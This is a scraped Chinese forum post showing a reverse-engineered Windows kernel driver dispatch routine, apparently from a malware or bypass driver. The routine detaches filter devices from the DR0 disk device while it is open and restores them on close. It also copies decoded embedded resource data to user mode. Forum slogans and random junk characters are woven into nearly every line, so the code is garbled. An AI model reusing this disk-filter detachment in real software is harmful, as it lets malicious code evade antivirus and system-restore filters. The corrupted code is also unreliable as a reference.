0 A: t# ? g: p$ O9 W6 nwww.520diannao.com outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; 我爱电脑技术论坛. T2 {# e: w. ~1 a& N! Q% w9 m* ^
4 w& Y9 F+ h) t5 t, D0 o我爱电脑技术论坛 if(!inBufLength || !outBufLength)
+ _; D9 V8 I5 Z7 H我爱电脑技术社区--打造最好的电脑技术自学交流平台 {
( }+ J4 }# @9 B9 V2 ]+ L3 L打造最好的电脑自学交流论坛 ntStatus = STATUS_INVALID_PARAMETER; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站0 s. R0 W3 n8 ^, z
goto End;
: {3 `+ S v" m+ [ K( }: o2 m+ E. hwww.520diannao.com } 我爱电脑技术论坛! X& v% d) B2 U) Z x9 Z
) ~/ l' g0 k Z, ^ switch ( irpSp->MajorFunction ) www.520diannao.com7 [/ Z- v7 r# i: g e
{ ' B* V' G- d" s
case IRP_MJ_CREATE: 打造最好的电脑自学交流论坛* e/ M9 Y' h# ^: a6 `% Q
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME); 6 R8 w$ k: \: n4 K" [( D
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);
& m" ^6 [* h/ K+ \我爱电脑技术论坛: T: q- `* T: E' Z8 H. F
IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
* J) Z! J. B3 }$ e. w E g_DR0_DeviceObject = DRO_FileObject->DeviceObject;
" `, V5 b! Z. [) K( {# m" T电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站打造最好的电脑自学交流论坛' e8 R! v U8 R* Y
//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加 我爱电脑技术社区--打造最好的电脑技术自学交流平台! I$ P1 U; l3 f! {' c7 m( q: |
if (DRO_FileObject->DeviceObject->AttachedDevice) www.520diannao.com- } a6 A( t) P0 B
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站4 v* d% C2 c6 j" y
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
+ M+ z4 R7 V" [4 b* h电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 DRO_FileObject->DeviceObject->AttachedDevice= NULL; ! B! e" h4 P: q) d& `
} 打造最好的电脑自学交流论坛, a! ^! T9 ]* r, i3 \- X- F
9 v8 M1 y/ x9 o ObDereferenceObject(DRO_FileObject); 7 T; |# o- l2 _8 z7 C% Z. d
/ k* }. c K7 i! \, `: C* \, Y2 X( `电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 RtlFreeUnicodeString(&DRO_DeviceName); 我爱电脑技术社区--打造最好的电脑技术自学交流平台# ]- [. i' k# b) g" _
我爱电脑技术社区--打造最好的电脑技术自学交流平台. S9 R+ L: k) r6 K; Q$ V+ b
break; 我爱电脑技术社区--打造最好的电脑技术自学交流平台9 a8 }' B" W; r8 }4 I5 N, |
case IRP_MJ_CLOSE: www.520diannao.com. c; _! c: F# Q) u2 |
if (g_DR0_DeviceObject) www.520diannao.com6 M" o7 l" j' ^$ o3 o7 m0 ?& |
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站- A# F/ @7 I2 |, P$ I7 D
if (g_OldAttachedDeviceOfDR0)
" l& J3 m- |4 p打造最好的电脑自学交流论坛 {
! X, h& g$ x2 w* ~/ q6 U电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
& t+ r! @' z$ P( ?) H0 l, g7 q打造最好的电脑自学交流论坛 } 我爱电脑技术社区--打造最好的电脑技术自学交流平台! s6 n) a3 z6 B! Q3 Y t
} 我爱电脑技术论坛+ }/ ^6 C9 m( H5 D4 o% S; K& [( o
& |& k1 k+ U/ ~2 J3 e3 {我爱电脑技术论坛 break;
) A/ X9 k0 [" ]0 u0 R, e% g2 ewww.520diannao.com case IRP_MJ_DEVICE_CONTROL: 我爱电脑技术社区--打造最好的电脑技术自学交流平台$ M1 `6 O& a2 \2 F- M8 I
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
5 x& p6 d# x% _- {- o1 v( p6 twww.520diannao.com {
3 |2 d- }9 s- A电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 if (outBufLength < g_ResDataSize)
8 R" l& g1 a: ?3 a9 xwww.520diannao.com goto End;
) B3 ^9 j- G7 M2 z电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
& D% D6 l! y6 S# ]电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
6 W8 z1 P; Z) Wwww.520diannao.com // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
* z+ [3 y5 I& G我爱电脑技术社区--打造最好的电脑技术自学交流平台 // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
- I; X% Y, g$ p: q+ b: u打造最好的电脑自学交流论坛 RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize); www.520diannao.com% n3 }& _$ h# \
9 N, ^- z. C0 R3 e' T我爱电脑技术论坛 Irp->IoStatus.Information = g_ResDataSize; 7 W9 Y$ k3 |; O$ W0 v# N
}
! w: J9 X5 J( |. e+ z我爱电脑技术论坛 else www.520diannao.com6 y. ^3 B9 E1 ^) ^# {5 B- a
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站; r) }. ]- h, q7 ^& O! O; g; N
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
" e/ _2 q1 ~ {6 B( i电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 }
- U$ b% F$ e0 [ m/ Y8 R. b1 p$ b
; O& j) v! d+ G& w% p我爱电脑技术社区--打造最好的电脑技术自学交流平台 break; / k1 H3 Y' e; E6 L
# [; T ?' L: m: [5 _3 r电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 default: 我爱电脑技术社区--打造最好的电脑技术自学交流平台9 z- m' I. s# @) h4 g
' j+ @* O% W1 g! C( g: r; _www.520diannao.com //
% S6 F, K8 H9 r R7 @6 n" }; g4 w我爱电脑技术社区--打造最好的电脑技术自学交流平台 // The specified I/O control code is unrecognized by this driver. 5 z$ g7 G, M; k" A. s2 n
// 打造最好的电脑自学交流论坛+ I9 F& R2 m( s
打造最好的电脑自学交流论坛2 l2 M: G0 ~: F; F" a& ]# p
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
4 [2 @: ?2 ?7 B+ ?电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 break; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站! D' l2 M/ w1 {( U- [1 E$ R
}
+ D5 w2 g( {# N% {. x8 p" M6 f7 V我爱电脑技术论坛
% k: f) j' Q+ E0 }电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站End:
( u3 c% V w6 N我爱电脑技术论坛 //
1 Y! m' ^& X2 m7 K% \6 _我爱电脑技术论坛 // Finish the I/O operation by simply completing the packet and returning 我爱电脑技术社区--打造最好的电脑技术自学交流平台) j+ \2 W9 N& W' h ?% |3 C* g8 ?
// the same status as in the packet itself. 我爱电脑技术论坛; L- F6 a9 G. N+ H
// 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站( P8 @4 U& O) P
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站5 z7 m$ r5 H1 \, i9 m
Irp->IoStatus.Status = ntStatus; www.520diannao.com8 E- A1 ] B3 m! t
( {, j+ ]. h: t* k电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 IoCompleteRequest( Irp, IO_NO_INCREMENT ); 我爱电脑技术论坛% _: g8 {- p' b. ~- d/ ^- u! }4 ?
6 V, ?6 r5 B% q; f: N& h我爱电脑技术论坛 return ntStatus;
# ]1 _( Y' Z l. g. I! e: P, T电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站}